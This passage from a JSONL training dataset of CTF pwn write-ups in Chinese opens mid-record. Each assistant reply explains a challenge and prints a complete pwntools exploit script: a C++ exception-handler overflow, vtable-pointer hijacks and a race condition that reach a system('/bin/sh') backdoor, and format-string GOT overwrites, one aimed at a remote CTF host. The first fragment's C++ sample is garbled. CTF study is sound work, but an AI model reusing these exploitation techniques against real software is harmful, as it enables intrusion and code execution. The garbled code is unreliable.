如果`try`块执行的过程中抛出了异常，那么抛出异常后立即跳转到第一个 “异常类型” 和抛出的异常类型匹配的`catch`块中执行（称作异常被该`catch`块 “捕获”），执行完后再跳转到最后一个`catch`块后面继续执行\n- C++异常的再抛出：如果一个函数在执行过程中抛出的异常在本函数内就被`catch`块捕获并处理，那么该异常就不会抛给这个函数的调用者，如果异常在本函数中没有被处理，则它会被抛给上一层的函数\n\n```cpp\n#include \n#include \n#include \n\nvoid catched_by_self(int i){\n\ttry{\n\t}\n\tcatch(char){\n\t}\n\tcatch(int)\n}\nvoid catched_by_before1(int i){\n\tthrow std::string(\"Fuck You\\n\");\n\tprintf(\"被抛到上层之后，函数后面的语句就不会被执行\\n\");\n}\n\nvoid catched_by_before2(){\n\tthrwo 666;\n\tprintf(\"被抛到上层之后，函数后面的语句就不会被执行\\n\");\n}\n\nint mainf(){\n\tint testnum=0x123;\n\ttry{\n\t}\n\tcatch\n}\n```\n\n### 快速查找catch块\n\n当代码量比较大的时候，如果一个程序中有许多异常处理，我们再从汇编层面去人为查找非常的耗时间，使用 IDA 的 Search 功能直接定位到 catch 块分配处从而快速定位到 catch 块。\n\n之前我们的分析之后可以知道，ida 是能够知道对应的 catch 块是 owned by 哪个 throw_address的，就用这个地址来搜索。\n\n所以一旦我们找到了 throw 函数，直接搜索即可找到 catch，而不是满篇汇编的去大海捞针。\n\n### 阶段反编译查看catch代码块\n\n在之前我们知道如何恢复try catch结构之后，我们可以大致知道整体的执行逻辑，但是对于catch块内部的代码，依旧无法从反编译层面直接看见，默认情况下 ida 是不会反编译那个 catch 块的，因为 ida 认为那个catch块是不会被执行的，欺骗了 ida，而往往其中会存在一些关键信息，所以这里我们采取阶段反编译来查看 catch 块代码。\n\n这里有两种方法：\n\n方法一：\n\n在begin catch 前按快捷键E，设置End，然后选中汇编至end catch，按p定义成函数，反编译即可。\n\n### 解题思路\n\n## Exploit 关键代码\n### 其它/2024ycb logger/exp.py\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\nia = lambda: io.interactive()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\ndef menu(index):\n    sla('chocie:', str(index))\n\ndef trace(content='a', judge='n'):\n    menu(1)\n    sla('here: ', content)\n    sla('records? ', judge)\n\n#dbg(\"b __cxa_throw@plt\")\n\n#通过数组越界漏洞修改src数组为/bin/sh\nfor i in range(7):\n    trace()\n\ntrace('a'*0x10,'n')\n\npayload = '/bin/sh;'\ntrace(payload)\n\n#通过溢出漏洞劫持到后面catch进行异常处理\nmenu(2)\npayload = b'a'*0x70\npayload += p64(0X404300)\npayload += p64(0x401BC2+1)\nsa('Type your message here plz: ', payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 26, "ctf_task_type": "ai", "original_id": "pwn101-pair-cb0d16340bc20425", "original_line": 437, "original_split": "train", "record_type": "writeup_exploit_pair", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ycb logger", "split": "train", "split_group_key": "fffa98da678fe5d21032ebc3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ycb logger", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-26c9a6d2999661eb95f6", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `其它/2024ccb anote` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`其它/2024ccb anote`\n\n## Writeup 蒸馏\n# 2024 CCB anote Writeup\n\n## 信息收集\n\n程序开启 NX 和 Canary，但没有 PIE：\n\n```text\nArch:    i386-32-little\nRELRO:   Partial RELRO\nCanary:  found\nNX:      enabled\nPIE:     disabled, base 0x8048000\n```\n\n关键地址如下：\n\n```text\nbackdoor = 0x80489ce\nnote 构造函数 sub_8048DFC = 0x8048dfc\nshow 函数 sub_80489E8 = 0x80489e8\nedit 函数 sub_8048A86 = 0x8048a86\n```\n\n`backdoor()` 直接执行：\n\n```c\nint backdoor() {\n    return system(\"/bin/sh\");\n}\n```\n\n## 程序逻辑\n\n主菜单有 4 个功能：\n\n```text\n1. add\n2. show content\n3. edit content\n4. exit\n```\n\n`add` 每次创建一个大小为 `0x1c` 的 C++ 对象：\n\n```c\nv1 = operator new(0x1c);\nmemset(v1, 0, 0x1c);\nsub_8048DFC(v1);      // *(obj) = 0x8048f48\nnotes[count++] = v1;\n```\n\n构造函数只设置对象首 DWORD 为 vptr：\n\n```asm\n8048dfc: mov edx, 0x8048f48\n8048e04: mov eax, [ebp+arg_0]\n8048e07: mov [eax], edx\n```\n\n对象布局：\n\n```text\nobj + 0x00  vptr\nobj + 0x04  index\nobj + 0x08  content\n```\n\n`show` 会泄露对象地址：\n\n```c\ncout << \"gift: \" << notes[index] << endl;\nsub_80489E8(notes[index]);\n```\n\n`edit` 逻辑如下：\n\n```c\nif (n > 40) exit(0);\ncin.getline(src, 32);\nsub_8048A86(notes[index], src, index, n);\n(***notes[index])(notes[index]);\n```\n\n其中 `sub_8048A86` 是漏洞点：\n\n```c\nvoid *sub_8048A86(int obj, void *src, int idx, size_t n) {\n    *(obj + 4) = idx;\n    return memcpy(obj + 8, src, n);\n}\n```\n\n对象只申请了 `0x1c` 字节，`content` 从 `obj+0x8` 开始，理论可写空间只有 `0x14` 字节；但 `edit` 允许 `n <= 40`，因此可以从 `obj+0x8` 向后溢出。\n\n## 漏洞利用\n\n连续申请两个对象时，泄露到：\n\n```text\nobj0 = 0x80507d0\nobj1 = 0x80507f0\ndiff = 0x20\n```\n\n因此 `obj0+0x20 == obj1`。如果对 `obj0` 写入 `0x1c` 字节，写入覆盖范围为：\n\n```text\nobj0+0x08 ~ obj0+0x23\n```\n\n刚好可以覆盖到 `obj1` 的 vptr。利用思路：\n\n1. `add()` 两次，得到相邻的 `obj0` 和 `obj1`。\n2. `show(0)` 泄露 `obj0` 地址。\n3. 在 `obj0+0x08` 放一个 fake vtable，第一项写 `backdoor`。\n4. 溢出覆盖 `obj1->vptr = obj0+0x08`。\n5. 调用 `edit(1, 0, \"\")` 触发虚调用 `call *(*obj1)`，跳到 `backdoor()`。\n\npayload 布局：\n\n```text\nobj0+0x08: p32(0x80489ce)      fake_vtable[0] = backdoor\nobj0+0x0c: \"A\" * 0x10          padding\nobj0+0x1c: p32(0x21)           保持下一块 chunk size\nobj0+0x20: p32(obj0 + 0x08)    覆盖 obj1->vptr\n```\n\n主程序触发虚调用的汇编：\n\n```asm\n8048d3f: mov eax, [notes[index]]\n8048d43: mov eax, [eax]      ; eax = obj->vptr\n8048d45: mov eax, [eax]      ; eax = vtable[0]\n8048d51: push edx            ; this 指针\n8048d52: call eax\n```\n\n- exp\n\n```python\nBACKDOOR = 0x80489CE\n\nadd()\nadd()\n\nobj0 = show(0)\nfake_vtable = obj0 + 0x8\n\npayload = flat(\n    BACKDOOR,\n    b\"A\" * 0x10,\n    0x21,\n    fake_vtable,\n)\n\nedit(0, len(payload), payload)\nedit(1, 0, b\"\")\nio.interactive()\n```\n\n## Exploit 关键代码\n### 其它/2024ccb anote/exp.py\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ncontext.binary = elf = ELF(\"./note\", checksec=False)\ncontext.log_level = \"info\"\n\nBACKDOOR = 0x80489CE\n\ndef add():\n    io.sendlineafter(b\"Choice>>\", b\"1\")\n\ndef show(idx: int) -> int:\n    io.sendlineafter(b\"Choice>>\", b\"2\")\n    io.sendlineafter(b\"index:\", str(idx).encode())\n    io.recvuntil(b\"gift: \")\n    return int(io.recvline().strip(), 16)\n\n\ndef edit(idx: int, size: int, data: bytes):\n    io.sendlineafter(b\"Choice>>\", b\"3\")\n    io.sendlineafter(b\"index:\", str(idx).encode())\n    io.sendlineafter(b\"len:\", str(size).encode())\n    io.sendlineafter(b\"content:\", data)\n\n\nio = process(elf.path)\n\n# note object layout:\n#   +0x00 vptr\n#   +0x04 index\n#   +0x08 content[0x14]\n#\n# operator new(0x1c) gives chunks 0x20 bytes apart under this glibc.\n# edit() allows n <= 0x28 and memcpy(obj + 8, src, n), so writing 0x1c bytes\n# into obj0 reaches obj1->vptr exactly:\n#\n#   obj0+0x08 fake_vtable[0] = backdoor\n#   obj0+0x1c next chunk metadata size = 0x21\n#   obj0+0x20 == obj1; overwrite obj1->vptr = obj0+0x08\n\nadd()\nadd()\n\nobj0 = show(0)\nlog.success(f\"obj0 leak: {obj0:#x}\")\n\nfake_vtable = obj0 + 0x8\npayload = flat(\n    BACKDOOR,          # fake_vtable[0] => backdoor()\n    b\"A\" * 0x10,       # fill obj0 content\n    0x21,              # preserve next chunk size\n    fake_vtable,       # obj1->vptr\n)\nassert len(payload) == 0x1C\n\nedit(0, len(payload), payload)\n\n# menu option 3 performs:\n#   sub_8048A86(obj, src, idx, len)\n#   call *(*obj)\n# obj1->vptr now points to our fake table, so this calls system(\"/bin/sh\").\nedit(1, 0, b\"\")\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 26, "ctf_task_type": "ai", "original_id": "pwn101-pair-f1f7853138c1ff14", "original_line": 435, "original_split": "train", "record_type": "writeup_exploit_pair", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ccb anote", "split": "train", "split_group_key": "0ab2be268127351fa436c594"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ccb anote", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-a963fe1ae6963a5682f4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `其它漏洞/格式化字符串` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`其它漏洞/格式化字符串`\n\n## Writeup 蒸馏\n## 格式化字符串漏洞\n\n### 格式化字符串基础\n\n#### 基础知识\n\n+ 常见格式化字符串函数\n\n| **函数**  | **基本介绍**                           |\n| :-------- | :------------------------------------- |\n| printf    | 输出到stdout                           |\n| fprintf   | 输出到指定FILE流                       |\n| vprintf   | 根据参数列表格式化输出到stdout         |\n| vfprintf  | 根据参数列表格式化输出到FILE流         |\n| sprintf   | 输出到字符串                           |\n| snprintf  | 输出指定字节数到字符串                 |\n| vsprintf  | 根据参数列表格式化输出到字符串         |\n| vsnprintf | 根据参数列表格式化输出指定字节到字符串 |\n\n\n+ 常见格式化字符串参数\n  - `%c`：输出字符，配上`%n`可用于向指定地址写数据。\n  - `%d`：输出十进制整数，配上`%n`可用于向指定地址写数据。\n  - `%p`：输出16进制数据，与`%x`基本一样，只是附加了前缀`0x`，在32位下输出4字节，在64位下输出8字节，可通过输出字节的长度来判断目标环境是32位还是64位。\n  - `%s`：输出的内容是字符串，即将偏移处指针指向的字符串输出，如`%i$s`表示输出偏移i处地址所指向的字符串，在32位和64位环境下一样，可用于读取GOT表等信息。\n  - `%n`：将`%n`之前`printf`已经打印的字符个数赋值给偏移处指针所指向的地址位置，如`%100×10$n`表示将0x64写入偏移10处保存的指针所指向的地址（4字节），而`%$hn`表示写入的地址空间为2字节，`%$hhn`表示写入的地址空间为1字节，`%$lln`表示写入的地址空间为8字节，在32位和64位环境下一样。有时，直接写4字节会导致程序崩溃或等候时间过长，可以通过`%$hn`或`%$hhn`来适时调整。\n  - `%n`是通过格式化字符串漏洞改变程序流程的关键方式，而其他格式化字符串参数可用于读取信息或配合`%n`写数据。\n+ 常用格式化字符串形式\n\n```plain\n%[parameter][flags][field width][.precision][length]type\n例如 %2$08hx %.8lf\n```\n\n+ `parameter`：`n$` ，获取格式化字符串中的指定第 n 个参数\n+ `flags`：在 `width` 设置后指定可以用来作为填充的内容之类的内容\n+ `field width`：输出的最小宽度\n+ `precision`：输出的最大长度\n+ `length`，输出的长度\n  - `hh`，输出一个字节\n  - `h`，输出一个双字节\n+ `type`\n  - `d/i`,有符号整数\n  - `u`，无符号整数\n  - `x/X`,16进制\n  - `o`，8进制\n  - `s`，所有字节\n  - `c`，char类型单个字符\n  - `p`，`void *` 型，输出对应变量的值。`printf(\"%p\",a)` 用地址的格式打印变量 `a` 的值，`printf(\"%p\", &a)` 打印变量 `a` 所在的地址。\n  - `n`，不输出字符，但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。\n    * `hhn` 写一字节\n    * `hn` 写两字节\n    * `n` 写四字节\n    * `ln` 32 位写四字节，64 位写八字节\n    * `lln` 写八字节\n\n#### 原理验证\n\n示例程序：\n\n```plain\n#include\n\nint main() {\n    char s[100] =\"aaaa.%p.%p.%p.%p.%p.%p.%p\";\n    printf(s);\n    return 0;\n}\n```\n\n+ 32位\n\n编译命令：\n\n```shell\ngcc test.c -g -m32 -o test\n```\n\n输出结果：\n\n```\naaaa.0xf7ffc988.0xffffcf2a.0x56555595.0xffffcf2a.0xf7ffc984.0x61616161.0x2e70252e\n```\n\n栈结构：\n\n```plain\n00:0000│ esp  0xffffcee0 —▸ 0xffffcef8 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'\n01:0004│      0xffffcee4 —▸ 0xf7ffc988 (_rtld_global_ro+136) ◂— 0x8e\n02:0008│      0xffffcee8 —▸ 0xffffcf2a ◂— 0x0\n03:000c│      0xffffceec —▸ 0x56555595 (main+24) ◂— add    ebx, 0x1a3f\n04:0010│      0xffffcef0 —▸ 0xffffcf2a ◂— 0x0\n05:0014│      0xffffcef4 —▸ 0xf7ffc984 (_rtld_global_ro+132) ◂— 0x6\n06:0018│ eax  0xffffcef8 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'\n```\n\n自上而下依次是参数0~6，参数0为格式化字符串地址，而格式化字符串前4字节又作为参数6（由于栈结构不同，需要视情况而定）。因此如果将格式化字符串合适的位置设置为目标地址就可以对该地址的数据进行操作。\n\n+ 64位\n\n编译命令：\n\n```shell\ngcc test.c -g -m64 -o test\n```\n\n输出结果：\n\n```\naaaa.0x7fffffffde78.0x70.0x555555554770.0x7ffff7dced80.0x7ffff7dced80.0x2e70252e61616161.0x70252e70252e70255\n```\n\n寄存器：\n\n```plain\nRAX  0x0\nRBX  0x0\nRCX  0x555555554770 (__libc_csu_init) ◂— push   r15\nRDX  0x70\nRDI  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'\nRSI  0x7fffffffde78 —▸ 0x7fffffffe21b\nR8   0x7ffff7dced80 (initial) ◂— 0x0\nR9   0x7ffff7dced80 (initial) ◂— 0x0\nR10  0x0\nR11  0x0\nR12  0x5555555545a0 (_start) ◂— xor    ebp, ebp\nR13  0x7fffffffde70 ◂— 0x1\nR14  0x0\nR15  0x0\nRBP  0x7fffffffdd90 —▸ 0x555555554770 (__libc_csu_init) ◂— push   r15\nRSP  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'\nRIP  0x555555554747 (main+157) ◂— call   0x555555554580\n```\n\n栈结构：\n\n```plain\n00:0000│ rdi rsp  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'\n01:0008│          0x7fffffffdd28 ◂— '%p.%p.%p.%p.%p.%p'\n02:0010│          0x7fffffffdd30 ◂— '.%p.%p.%p'\n03:0018│          0x7fffffffdd38 ◂— 0x70 /* 'p' */\n04:0020│          0x7fffffffdd40 ◂— 0x0\n```\n\n由于 64 位程序先使用 `rdi`、`rsi`、`rdx`、`rcx`、`r8`、`r9` 寄存器作为函数参数的前六个参数，多余的参数会依次压在栈上，因此前 6 个输出的为寄存器中的值（`aaaa` 看做是格式化字符串参数），格式化字符串前 8 个字节作为参数 6 。\n\n泄露偏移\n\n### 格式化字符串泄露内存\n\n#### 泄露栈变量的值\n\n获取栈中被视为第 `n+1` 个参数的值：`%n$x`（`%n$p`）\n\n我们可以通过漏洞泄露栈上的`canary`和`libc`地址。\n\n亦或者在开启`PIE`保护的情况下泄露程序地址。\n\n注意：`%x` 其实只是 `%d` 的 16 进制输出，对应的是 32 位也就是 4 字节；在 64 位操作系统下，只会截取后 32 位；`%p`和系统位数关联没有问题，因此建议用 `%p`\n\n#### 泄露栈变量对应对应地址的内容\n\n获取栈中被视为第 `n+1` 个参数对应地址的内容：`%n$s`\n\n#### 泄露任意地址内存\n\n获取地址 `addr` 对应的值（`addr` 为第 `k` 个参数）：`addr%k$s`\n\n如果程序为 32 位偏移为 6 则payload为\n\n```\np32(addr)+\"%6$s\"\n```\n\n### 格式化字符串覆盖内存\n\n覆盖内存的原理是 `%k$n` 可以覆盖第 k 个参数指向的地址为已经输出的字符数量。\n\n注意：覆盖内存只能覆盖栈上某地址指向的内存，而不是直接覆盖栈上某地址。\n\n#### pwntools生成payload\n\npwntools集成了一个可以自动生成格式化字符串任意地址覆盖的工具。\n\n我们较常使用的功能是\n\n```python\nfmtstr_payload(offset, {address:data}, numbwritten=0, write_size='byte')\n```\n\n+ `offset`表示格式化字符串的偏移\n+ `address`表示需要覆盖的地址\n+ `data`表示覆盖为的值\n+ `numbwritten`表示已经输出的字符个数\n+ `write_size`表示写入方式，是按字节（byte）、按双字节（short）还是按四字节（int），对应着hhn、hn和n，默认值是byte，即按hhn写。\n\n## Exploit 关键代码\n### 其它漏洞/格式化字符串/exp.py\n```python\n#!/usr/bin/env python2\nfrom pwn import *\n\ndef get_sb():\n    return libc.sym['system'], next(libc.search(b'/bin/sh\\x00'))\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('axb_2019_fmt64')\n#io = process([elf.path])\nio=remote(\"node5.buuoj.cn\",25147)\nlibc = ELF(\"/buu/64/libc-2.23.so\")\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\noff=8\npayload = b\"%9$saaaa\"+p64(elf.got.puts)\nr()\ns(payload)\nputs_addr=l64()\nlibc.address = puts_addr - libc.sym['puts']\nlg('puts', puts_addr)\nsystem,sh=get_sb()\nlg('system', system)\nlg('sh', sh)\nstrlen=libc.sym['strlen']\nlg(\"strlen\",strlen)\nhigh_sys = (system >> 16) & 0xff\nlow_sys = system & 0xffff\npayload = \"%\" + str(high_sys - 9) + \"c%12$hhn\" + \"%\" + str(low_sys - high_sys) + \"c%13$hn\"\nprint(payload)\npayload = payload.ljust(32,\"A\") + p64(strlen + 2) + p64(strlen)\nru(\"Please tell me:\")\ns(payload)\nr()\ns(\";/bin/sh\\x00\")\n\nia()\n```\n\n### 其它漏洞/格式化字符串/exp_cli.py\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"/buu/32/libc-2.23.so\")\n\nr()\npayload=p32(elf.got.puts)+b\"%6$s\"\ns(payload)\n\nleak=u32(ru(\"\\xf7\")[-4:].ljust(4,b\"\\x00\"))\nprint(hex(leak))\nlibcbase=leak-libc.sym.puts\nprint(hex(libcbase))\nsys=libcbase+libc.sym.system\n\nr()\npayload=fmtstr_payload(6,{elf.got.printf:sys})\ns(payload)\n\nr()\ns(b\"/bin/sh\\x00\")\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 28, "ctf_task_type": "ai", "original_id": "pwn101-pair-c13186b93a7a9aa8", "original_line": 497, "original_split": "train", "record_type": "writeup_exploit_pair", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串", "split": "train", "split_group_key": "6cb9108acf05ca78393ca2ab"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-aa508a04c3bfd4f6167c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `其它/2024das usersys` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`其它/2024das usersys`\n\n## Writeup 蒸馏\n## 虚函数利用\n\n- `thiscall`\n- 虚表\n- 子类构造\n\nC++ 多态通过虚函数表实现，对象内存首地址存放`vptr`（指向虚函数表）。若能篡改`vptr`，可控制程序跳转到任意地址。\n\n\n抛开面向对象不谈，仅仅关注漏洞利用，我们可以简单地把虚函数和虚表理解为以下几个 要点。\n\n1. C++类的成员函数在声明时，若使用关键字`virtual`进行修饰，则被称为虚函数。\n2. 一个类中可能有很多个虚函数。\n3. 虚函数的入口地址被统一保存在虚表（Vtable）中。\n4. 对象在使用虚函数时，先通过虚表指针找到虚表，然后从虚表中取出最终的函数入口 地址进行调用。\n5. 虚表指针保存在对象的内存空间中，紧接着虚表指针的是其他成员变量。\n6. 虚函数只有通过对象指针的引用才能显示出其动态调用的特性。\n\n[图片: Pasted image 20250509132127]\n\n如果对象中的成员变量发生了溢出，有机会修改对象中的虚表指针或修改虚表中的虚函数指针，那么在程序调用虚函数时就会跑去执行shellcode。 下面这段程序用于演示这种漏洞利用方式。\n\n对这段程序需要说明如下。\n（1）虚表指针位于成员变量char buf[200]之前，程序中通过p_vtable=overflow.buf-4定位到 这个指针。\n（2）修改虚表指针指向缓冲区的0x004088CC处。\n（3）程序执行到p->test()时，将按照伪造的虚函数指针去0x004088CC寻找虚表，这里正 好是缓冲区里shellcode的末尾。在这里填上shellcode的起始位置0x0040881C作为伪造的虚函 数入口地址，程序将最终跳去执行shellcode。\n\n\n由于虚表指针位于成员变量之前，溢出只能向后覆盖数据，所以很可惜这种利用方式在“栈 溢出”场景下有一定局限性。\n\n当然，如果内存中存在多个对象且能够溢出到下一个对象空间中去，“连续性覆盖”还是 有攻击的机会的，如图6.3.4所示。 对于DWORD SHOOT的利用场景，攻击虚函数会更容易些。修改虚表指针或直接修改虚 函数指针都是不错的选择。 说到这里，大家应该明白所谓的虚函数、面向对象在指令层次上和C语言是没有质的区别 的，以漏洞利用的眼光来看这些东西，其实都是函数指针。\n\n[图片: Pasted image 20250509132309]\n\n## 题目分析\n\n题目为 64 位程序，保护全开。\n\n32 位菜单题，`add` 不能输入内容，`edit` 时可以溢出写 (`0x28 > 0x1c`)，`show` 会泄露堆地址。 由于是 C++ 题，申请的堆块开头存在一个虚表，在 edit 完成时调用，可以通过溢出写覆盖虚表。 通过 `show` 泄露堆地址后，可以在堆上写一个虚表，并在其中写上程序中的后门地址，然后调用 `edit` 即可拿 shell。\n\n[图片: Pasted image 20250606172724]\n\n题目给了后门函数：\n\n[图片: image-20260207194534184]\n\n程序在初始化以后，推测初始化了几个数据结构，继续跟踪到主逻辑，不能以root的身份登录，\n\n可以以admin或guest的身份登录。在判断身份之后，有两个间接调用。\n\n[图片: img]\n\n查阅初始化过程，发现是调用了写在结构体头上的函数表，即函数虚表。继续跟踪，admin可以读取所有guest的名字，\n\n或者清除所有记录。里面有两个行为相反的，针对`guest`对象的函数，推测clear对应写入，show对应读取。\n\n打开的文件都是`Guest_Data`。\n\n[图片: img]\n\n还剩一个guest的虚表，对应的函数只有一个功能，就是尝试留下guest的名字。在函数起始时读取了文件，\n\n读出了用户数量，如果**大于等于5**就无法留下名字，然后在输入时，再次读取了文件同步数据。\n\n然后就将数据写入了`this->guests[this->logcount]`的位置，**过程中没有大于等于5的检查**。\n\n[图片: img]\n\n由此我们可以简单地考虑，如果能在发起1个请求后写入4个名字后进入输入名字确认环节，同时再起一个进程发送请求，\n\n此时进入输入名字确认环节，我们再输入1个名字，就可以绕过大于等于5的检查，使得`logcount`成功变成5。\n\n接着我们给另一个进程输入名字时，就可以劫持到`logcount`，并使其变成任意值\n\n[图片: img]\n\n那么有了任意值写入以后，我们就可以做任意地址写。观察程序，发现存在后门函数，也是root的虚表中的函数，\n\n观察程序内存布局，`admin`对象是放在`guest`对象之后的，因此可以修改`logcount`，写入admin的虚表为root的虚表\n\n[图片: img]\n\n实际操作步骤：先创建一个连接，输入4个名字，然后再次进入输入guest name状态；创建第二个连接，进入输入状态；\n\n创建第三个连接，进入输入状态；接着第一个连接输入任意名字，扩展`logcount`为5后退出；\n\n此时第二个连接写入`\\x0a`到`logcount`后退出，随后`logcount`增加为`0xb`；最后第三个连接写入`\\x50`，\n\n\n## 解题思路\n\n把 admin 的虚表改写为 root 的虚表，回到主菜单，进入 admin 对应的操作，触发后门\n\n## Exploit 关键代码\n### 其它/2024das usersys/exp.py\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ncontext(os='linux', arch='amd64')\ncontext.log_level = os.environ.get('LOG', 'info')\n\nPROMPT = b'hello! who are u[root/admin/guest]'\n\ndef init_guest_data():\n    with open(\"Guest_Data\", 'wb') as f:\n        f.write(b'4\\n')\n        for name in (b'aaaa', b'bbbb', b'cccc', b'dddd', b'eeee'):\n            f.write(name + b'\\n')\n\ndef enter_guest(p):\n    p.recvuntil(PROMPT)\n    p.sendline(b'guest')\n    p.recvuntil(b'wanna leave your name?[y/n]')\n\n\ndef write_name_and_wait_menu(p, data: bytes):\n    p.sendline(b'y')\n    p.recvuntil(b'>>>')\n    p.send(data)\n    p.recvuntil(PROMPT)\n\n\ndef exploit():\n    init_guest_data()\n\n    # 三个进程共享 Guest_Data，但各自对象堆布局固定：guest -> root -> admin。\n    # 先让三条连接全部通过第一次 logcount<=4 检查，停在 [y/n]。\n    p1 = process(\"./pwn\")\n\n    p2 = process(\"./pwn\")\n\n    p3 = process(\"./pwn\")\n\n    for p in (p1, p2, p3):\n        enter_guest(p)\n\n    # p1: count=4，写 name[4] 后 ++count，使 Guest_Data 中 count 变成 5。\n    write_name_and_wait_menu(p1, b'A' * 7)\n    log.info('stage1: shared logcount becomes 5')\n\n    # p2: 已通过第一次检查；第二次读文件看到 count=5。\n    # read 目标为 guest + 0x18 + 8*5 == guest + 0x40，即 logcount 字段。\n    # 写入 0xa，随后函数内 ++count，落盘为 0xb。\n    write_name_and_wait_menu(p2, p64(0x0a))\n    log.info('stage2: shared logcount becomes 0xb')\n\n    # p3: 第二次读文件看到 count=0xb。\n    # read 目标为 guest + 0x18 + 8*0xb == admin 对象首地址，也就是 admin vptr。\n    # PIE 开启但 admin/root vtable 仅低字节不同：\n    #   admin vtable = base + 0x5c20\n    #   root  vtable = base + 0x5c50\n    # 单字节覆盖 0x20 -> 0x50，把 admin 虚表改成 root 虚表。\n    write_name_and_wait_menu(p3, b'\\x50')\n    log.info('stage3: admin vptr -> root vtable')\n\n    p1.close()\n    p2.close()\n\n    # 回到主菜单，进入 admin 分支；此时虚调用 (**qword_62F8)(qword_62F8)\n    # 实际取到 root vtable[0]，触发 backdoor -> system('/bin/sh')。\n    p3.sendline(b'admin')\n    return p3\n\n\nio = exploit()\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 24, "ctf_task_type": "ai", "original_id": "pwn101-pair-ce858bef636a2d76", "original_line": 436, "original_split": "train", "record_type": "writeup_exploit_pair", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024das usersys", "split": "train", "split_group_key": "66a21e0601cdf2b891b9c634"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024das usersys", "split": "train", "type": "ctf_lora_sft"}
